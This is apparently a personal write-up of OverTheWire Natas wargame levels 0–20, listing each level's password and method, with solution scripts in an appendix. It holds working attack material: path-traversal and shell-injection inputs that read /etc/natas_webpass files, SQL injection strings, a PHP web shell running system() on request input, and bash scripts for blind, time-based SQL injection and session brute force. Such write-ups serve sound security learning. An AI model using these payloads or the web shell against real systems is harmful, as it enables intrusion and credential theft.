ctfs/overthewire/natas/passwords.md

13 KiB

Passwords + Methodology

natas0: natas0 natas1: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq View source natas2: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI View source + enable absolute mode (browser extension) natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH There's a tracking pixel <img src="files/pixel.png"> so checking out the files/ directory we find files/users.txt

natas4: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ Check robots.txt natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK Forge the HTTP "Referer" header bash http -F \ # follow redirects -a natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ \ # auth http://natas4.natas.labs.overthewire.org/index.php \ # host "Referer: http://natas5.natas.labs.overthewire.org/" # forgery natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned Forge your cookie to be "loggedIn: 1" natas7: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS The source references "includes/secret.inc", navigate here then put the secret into the search widget. natas8: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q Exploit how index.php selects the page to load http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8 natas9: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t Find the encoded secret in the source code, decode in python via: base64.b64decode(bytes.fromhex(encoded)[::-1]).decode() natas10: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu Bash injection with the following input a b &>/dev/null | cat /etc/natas_webpass/natas10 # natas11: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk Another bash injection . /etc/natas_webpass/natas11 # natas12: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB Exploit that the cookie is in a known format, simply xor with a known plaintext and see what key repeats. Then use that key to forge a new cookie with "showpassword":"yes". NOTE: see #Natas11 Solution Script natas13: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC Exploit the fact that the upload path is stored in a hidden field of the form, use Inspect Element to modify this upload path to be .php not .jpg. Upload a php webshell (payload and methodology can vary though). Then navigate there. Via the webshell cat /etc/natas_webpass/natas13 NOTE: see #Natas12 Solution Script natas14: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ Exploit MIME type detection and size limit by generating a tiny 1x1 jpg and adding a php script to the end. I used the same webshell as I did for natas13. Then use cat image.jpg webshell.php > payload.php. This will be detected as a jpg and will be viewable as a jpg, modify the hidden form field again (same as for natas13) and change file path to .php. NOTE: image generation via magick -size 1x1 pattern:checkerboard image.jpg natas15: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx Exploit SQL injection for the query:

SELECT * from users where username="{username}" and password="{password}"
Injection Parameters: username:`" or 1=1--`, password:`" --`

natas16: hPkjKYviLQctEW33QmuXL6eDVfMW4sGo Use the website as an oracle under an SQL injection. NOTE: see #Natas15 Solution Script natas17: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC Another oracle attack using an SQL injection. Specifically guess the password character by character using grep to return NOTHING on failure and the entire password on match echo "\$(grep ^<GUESS>.* /etc/natas_webpass/natas17)" which will either dump the entire dictionary or nothing (respectively). NOTE: see #Natas16 Solution Script natas18: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ Another oracle attack using an SQL injection AND this time using a timing based attack. NOTE: see #Natas17 Solution Script natas19: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr PHP attempts to source $_SESSION["PHPSESSID"] from $_GET, $_REQUEST, and $_COOKIE (maybe other's I don't remember exactly). Our session is based solely on $_COOKIE["PHPSESSID"] and we know the program specifically uses 0-640 inclusive session ID range. So we can bruteforce this and eventually we'll find a session that is logged in as admin! NOTE: see #Natas18 Solution Script natas20: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw Same exploit as for natas19 except now the session id isn't monotonic restricted to inclusive range 0-640. Instead its hex encoded UTF-8. Decode it to notice its in the format "-" where <ID> is the same as for natas19. So we slightly modify our program and done! Also remember from natas19 that the admin user has username admin (which narrows down the brute force A LOT). You'll find success for 281-admin. NOTE: see #Natas19 Solution Script natas21: natas22: natas23: natas24: natas25: natas26: natas27:

Learnings

SQL Comments for injections An appended space character is sometimes required ie -- not --.

Appendix:

Natas11 Solution Script
import base64 as b64

PLAINTEXT = '''{"showpassword":"no","bgcolor":"#ffffff"}'''
COOKIE = 'HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg='
FORGED_PLAINTEXT = '''{"showpassword":"yes","bgcolor":"#ffffff"}'''



def xorbytes(x: bytes, y: bytes) -> bytes:
    Lx, Ly = len(x), len(y)
    if Lx < Ly: return xorbytes(y, x)
    
    return bytes(x[i]^y[i%Ly] for i in range(Lx))
        
def extract_key(k: bytes) -> tuple[bytes, int] | None:
    Lk = len(k)
    substr = b''
    length = 0
    for i in range(Lk):
        substr += k[i:i+1]
        length += 1 
        if k == substr*(Lk//length) + substr[:Lk%length]:
            return substr, length
    return None


def main() -> None:
    plaintext = PLAINTEXT.encode()
    cookie    = b64.b64decode(COOKIE)
    decoded   = xorbytes(cookie, plaintext)
    print('Modulated Key:', ''.join(chr(x) for x in decoded))
    key, key_size = extract_key(decoded)

    forged_cookie = b64.b64encode(xorbytes(FORGED_PLAINTEXT.encode(), key))
    print('Forged:', forged_cookie)
    

if __name__ == '__main__':
    try:
        main()
    except (KeyboardInterrupt, EOFError):
        print('\n[!] Interrupt')
Natas12 Solution Script
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>
Natas15 Solution Script
#!/usr/bin/env bash

req() {
  curl http://natas15.natas.labs.overthewire.org/index.php \
       -X POST \
       -u natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx \
       -d "username=natas16\" and $1 -- " \
       -sS \
    | grep exists &>/dev/null
}

# ie `guess_length "=32"` or `guess_length ">32"`
guess_length() {
  req "length(password)$1"
}

get_length() {
  echo "[*] Guessing length"
  local MIN=${1:-1}
  local MAX=${2:-100}
  # local PADMAX=${#MAX}
  local FGUESS="%${#MAX}s - %-${#MAX}s"
  while true; do
    printf "[-] Guess: $FGUESS\r" $MIN $MAX
    if [ $((MAX-MIN)) -eq 1 ]; then
      break
    fi;
    
    local MID=$(( (MAX+MIN)/2 ))
    guess_length ">$MID" && MIN=$MID || MAX=$MID
  done
  printf "[+] Found: $FGUESS\n" $MIN $MAX
  return $MAX
}

LOWER="abcdefghijklmnopqrstuvwxyz"
UPPER="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
DIGIT="0123456789"

guess_regex() {
  req "regexp_like(password, '^$1[a-zA-Z0-9]*\$', 'c')"
}

exploit_oracle() {
  echo "[@] Forcing oracle exploit"
  local PREFIX=""
  local LENGTH=$1

  while true; do
    if [ "${#PREFIX}" = "$LENGTH" ]; then
      break
    fi
    
    for chars in $LOWER $UPPER $DIGIT; do
      local MIN=1
      local MAX=${#chars}
    
      local RANGE="[${chars:MIN-1:1}-${chars:MAX-1:1}]"
      echo -en "[*] ?? $RANGE\r"
      guess_regex "$PREFIX$RANGE$POSTFIX" || continue
      echo "[+] Found[CHARSET]: $chars"

      local MID=$(( (MAX+MIN)/2 ))
      while true; do
        echo -en "[*] Guess: $RANGE\r"
        if [ $((MAX-MIN)) -eq 1 ]; then
          if guess_regex "$PREFIX${chars:MIN-1:1}"; then
            PREFIX="${PREFIX}${chars:MIN-1:1}"
          else
            PREFIX="${PREFIX}${chars:MAX-1:1}"
          fi
          echo -e "[+] Update: ${chars:MAX-1:1} -> $PREFIX"
          break
        fi;
    
        MID=$(( (MAX+MIN)/2 ))
        RANGE="[${chars:MIN-1:1}-${chars:MID-1:1}]"
        guess_regex "$PREFIX$RANGE" && MAX=$MID || MIN=$MID
      done
      break
    done
  done
  printf "[+] Found: $FGUESS\n" $MIN $MAX
}

get_length
LENGTH=$?
exploit_oracle "$LENGTH"
Natas16 Solution Script
#!/usr/bin/env bash

fcmd() {
  # echo '$(grep ^$1[a-zA-Z0-9]*$ /etc/natas_webpass/natas17)'
  echo "\$(grep ^$1.* /etc/natas_webpass/natas17)"
}

req() {
  curl http://natas16.natas.labs.overthewire.org/index.php \
       -X POST \
       -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo \
       -d "needle=$1" \
       -sS \
    | grep --after-context 2 "<pre>" \
    | tail -n1 \
    | grep "African" &>/dev/null
}

CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
KNOWN=""
GUESS=""
for ((i=0 ; i < 32 ; i++)); do
  for ((j=0; j<${#CHARSET}; j++)); do
    c=${CHARSET:j:1}
    GUESS="$KNOWN$c"
    echo -en "[*] Guess: $GUESS                                  \r"
    # echo $(fcmd $guess)
    req "$(fcmd $GUESS)" || break # && KNOWN=$guess # && break
  done
  KNOWN=$GUESS
  echo -en "[+] Known: $KNOWN\n                                    "
done
echo
Natas17 Solution Script
#!/usr/bin/env bash

USERNAME="natas17"
PASSWORD="EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC"
TARGET="natas18"

DELAY=4
PREFIX="5mxv8BZZVSMzzYPcY95M9m"

req() {
  CMD=$@
  curl "http://$USERNAME.natas.labs.overthewire.org/index.php" \
       -X POST \
       -u "$USERNAME:$PASSWORD" \
       -d "username=natas18\" AND $CMD AND SLEEP($DELAY) # " \
       -sS &>/dev/null
}

time_req() (
  export STAT
  export CMD="$@"
  (time (req $CMD; STAT=$?)) \
    |& grep real \
    |  awk '{print substr($2, 3, 1)}'
  return $STAT
)

# ie `guess_length "=32"` or `guess_length ">32"`
guess_length() {
  ELAPSED=$(time_req "LENGTH(password)$1")
  return $(( ELAPSED < DELAY ))
}

get_length() {
  echo "[*] Guessing length"
  local MIN=${1:-1}
  local MAX=${2:-100}
  # local PADMAX=${#MAX}
  local FGUESS="%${#MAX}s-%-${#MAX}s"
  while true; do
    printf "[-] Guess: $FGUESS\r" $MIN $MAX
    if [ $((MAX-MIN)) -eq 1 ]; then
      break
    fi;
    
    local MID=$(( (MAX+MIN)/2 ))
    guess_length ">$MID" && MIN=$MID || MAX=$MID
  done
  printf "[+] Found: $FGUESS\n" $MIN $MAX
  return $MAX
}

LOWER="abcdefghijklmnopqrstuvwxyz"
UPPER="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
DIGIT="0123456789"

guess_regex() {
  ELAPSED=$(time_req "REGEXP_LIKE(password, '^$1[a-zA-Z0-9]*\$', 'c')")
  return $(( ELAPSED < DELAY ))
}

exploit_oracle() {
  echo "[@] Forcing oracle exploit"
  local PREFIX=""
  local LENGTH=$1

  while true; do
    if [ "${#PREFIX}" = "$LENGTH" ]; then
      break
    fi
    
    for chars in $LOWER $UPPER $DIGIT; do
      local MIN=1
      local MAX=${#chars}
    
      local RANGE="[${chars:MIN-1:1}-${chars:MAX-1:1}]"
      echo -en "[*] ?? $RANGE\r"
      guess_regex "$PREFIX$RANGE$POSTFIX" || continue
      echo "[+] Found[CHARSET]: $chars"

      local MID=$(( (MAX+MIN)/2 ))
      while true; do
        echo -en "[*] Guess: $RANGE\r"
        if [ $((MAX-MIN)) -eq 1 ]; then
          local NEWCHAR
          if guess_regex "$PREFIX${chars:MIN-1:1}"; then
            NEWCHAR=${chars:MIN-1:1}
          else
            NEWCHAR=${chars:MAX-1:1}
          fi
          PREFIX="$PREFIX$NEWCHAR"
          echo -e "[+] Update: $NEWCHAR -> $PREFIX"
          break
        fi;
    
        MID=$(( (MAX+MIN)/2 ))
        RANGE="[${chars:MIN-1:1}-${chars:MID-1:1}]"
        guess_regex "$PREFIX$RANGE" && MAX=$MID || MIN=$MID
      done
      break
    done
  done
  printf "[+] Found: $FGUESS\n" $MIN $MAX
}

get_length
LENGTH=$?
exploit_oracle "$LENGTH"
Natas18 Solution Script
#!/usr/bin/env bash
USERNAME="admin"
PASSWORD="arbitrary"

req() {
  SESSION_ID=$1
  curl http://natas18.natas.labs.overthewire.org/index.php \
       -X POST \
       -u natas18:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ \
       -d "username=$USERNAME" \
       -d "password=$PASSWORD" \
       --cookie "PHPSESSID=$SESSION_ID" \
       -sS \
    | grep "Password: "
}

MIN_ID=0
MAX_ID=640
for ((i=MIN_ID ; i <= MAX_ID ; i++)); do
  printf "Attempt: %2d" $i
  OUT=$(req "$i")
  if [ $? -ne 0 ]; then
    echo -en '\r'
  else
    echo " [admin]"
    echo $OUT | awk '{print substr($2,1,32)}'
    break
  fi
done
Natas19 Solution Script
#!/usr/bin/env bash

USERNAME="admin"
PASSWORD="arbitrary"

req() {
  local SESSION_ID=$1
  curl http://natas19.natas.labs.overthewire.org/index.php \
       -X POST                                             \
       -u natas19:tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr         \
       -d "username=$USERNAME"                             \
       -d "password=$PASSWORD"                             \
       --cookie "PHPSESSID=$SESSION_ID"                    \
       -sS                                                 \
    | grep "Password: "
}

MIN_ID=0
MAX_ID=640
for ((i=MIN_ID ; i <= MAX_ID ; i++)); do
  # encode integer id as hex `$_COOKIE["PHPSESSID"]` format
  SESSION_ID=$(echo -n "$i-$USERNAME" | od -A n -t x1 | sed 's/ *//g')
  printf "Attempt: %2d" $i
  OUT=$(req "$SESSION_ID")
  if [ $? -ne 0 ]; then
    echo -en '\r'
  else
    echo " [admin]"
    echo $OUT | awk '{print substr($2,1,32)}'
    break
  fi
done